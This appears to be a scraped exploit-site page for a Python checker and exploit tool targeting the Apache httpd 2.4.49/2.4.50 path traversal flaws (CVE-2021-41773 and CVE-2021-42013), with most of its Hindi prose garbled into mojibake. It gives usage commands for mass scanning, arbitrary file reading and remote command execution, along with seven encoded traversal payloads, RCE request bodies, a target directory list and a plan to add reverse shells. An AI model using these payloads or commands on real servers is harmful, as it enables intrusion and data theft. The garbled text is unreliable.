## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THELSA-APACHE-HTTPD-PATH-TRAVERSAL-CHECKER
# apache httpd path traversal checker
## 0x00 рд╕рд╛рд░рд╛рдВрд╢
20211005 рдХреЛ, рдСрдирд▓рд╛рдЗрди apache httpd 2.4.49 рдХреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рднреЗрджреНрдпрддрд╛ (cve-2021-41773) рд╕рд╛рдордиреЗ рдЖрдИ, рдЬреЛ рдордирдорд╛рдиреА рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреА рд╣реИ (рдпрджрд┐ рдЯреНрд░реИрд╡рд░реНрд╕ рдХреА рдЧрдИ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рддрдХ рдкрд╣реБрдБрдЪ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ `<Directory />Require all granted</Directory>` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ) рдпрд╛ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди (RCE рдХреЗ рд▓рд┐рдП cgi рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ cgi рдореЙрдбреНрдпреВрд▓ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рд╣реИ)
20211008 рдХреЛ, 2.4.50 рдХреА рдПрдХ рдФрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЯреНрд░реИрд╡рд░реНрд╕рд▓ (cve-2021-42013) рд╕рд╛рдордиреЗ рдЖрдИ, рдЬреЛ cve-2021-41773 рдХреЗ рдлрд┐рдХреНрд╕ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреА рд╣реИред
рднреЗрджреНрдпрддрд╛ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: apache httpd 2.4.49/2.4.50 рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рднреЗрджреНрдпрддрд╛ рдкреБрдирд░реБрддреНрдкрд╛рджрди рдФрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг
## 0x01 рддреНрд╡рд░рд┐рдд рдЖрд░рдВрдн
python3 рд╕реЗ рдЪрд▓рд╛рдПрдБ
рдЙрдкрдпреЛрдЧ рд╕рд╣рд╛рдпрддрд╛: python3 apache-httpd-path-traversal.py -h

рдПрдХрд▓ URL рдЬрд╛рдБрдЪ: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"


рдмреИрдЪ рдЬрд╛рдБрдЪ: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдирд╛: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

## 0x02 рдЙрдкрдХрд░рдг рдкрд░рд┐рдЪрдп
HTTP рдбреЗрдЯрд╛ рдкреИрдХреЗрдЯ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП urllib.request рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ
рднреЗрджреНрдпрддрд╛ рдХреЗ рдЕрд╕реНрддрд┐рддреНрд╡ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рдЖрдзрд╛рд░ /etc/passwd рдкрдврд╝рдирд╛ рдФрд░ рдЬрд╛рдБрдЪрдирд╛ рд╣реИ рдХрд┐ рд▓реМрдЯрд╛рдП рдЧрдП рдбреЗрдЯрд╛ рдореЗрдВ "root:" рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╣реИ рдпрд╛ рдирд╣реАрдВ (рдХреНрдпреЛрдВрдХрд┐ рдЕрдзрд┐рдХрд╛рдВрд╢ рд▓рд┐рдирдХреНрд╕ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП Windows рдХреА рдЬрд╛рдБрдЪ рдХреЛ рдлрд┐рд▓рд╣рд╛рд▓ рдЕрдирджреЗрдЦрд╛ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ)
рдорд▓реНрдЯреА-рдереНрд░реЗрдбреЗрдб, рджрдХреНрд╖рддрд╛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЯрд╛рдЗрдордЖрдЙрдЯ рдЪреБрдирдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдкред
рд▓рдЪреАрд▓рд╛рдкрди рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реИрдХрд▓реНрдкрд┐рдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ (--cdir) рдФрд░ RCE рд╢реЗрд▓ (--rceshell)ред
рдЬрд╛рдБрдЪ рдХрд░рддреЗ рд╕рдордп рд╕рдВрднрд╛рд╡рд┐рдд рд╕рд╛рдорд╛рдиреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд┐рдЯ рджрд░ рдмрдврд╝рд╛рддрд╛ рд╣реИред commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
рдиреЛрдЯ: рдХрднреА-рдХрднреА рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП icons рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ RCE рдХреЗ рд▓рд┐рдП cgi-bin рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрддрд╛ рд╣реИ, рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдерд┐рддрд┐ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВред
7 рдкреЛрдХ рдФрд░ 2 RCE рдкреЛрд╕реНрдЯ рдбреЗрдЯрд╛ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ:
#cve-2021-41773 poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013 poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce data rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
// RCE рдХреА POST рд╡рд┐рдзрд┐ рдХреЛ GET рд╡рд┐рдзрд┐ рдореЗрдВ рдмрджрд▓рдирд╛ рднреА рд╕рдВрднрд╡рддрдГ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред
// рдкреЗрд▓реЛрдб рдХреЛ рд▓рдХреНрд╖реНрдп рдХреЗ рдЕрдкрд╛рдЪреЗ рдкрде рд╕реНрддрд░реЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдмрджрд▓рдирд╛ рд╣реЛрддрд╛ рд╣реИ, рдЖрдорддреМрд░ рдкрд░ 4 рд╕реНрддрд░ рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВред
// рдПрдХ рдЕрдкрд╛рдЪреЗ рдореМрдЬреВрджрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ icons/ рдпрд╛ cgi-bin/
## 0x03 TODO
1. Windows рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдЬрд╛рдБрдЪ рдЬреЛрдбрд╝рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ред
2. рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдЖрджрд┐ рдЬреИрд╕реЗ рдЖрдЧреЗ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ред
## 0x04 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛
issus
gmail: some-email@example.com
qq: some-email@example.com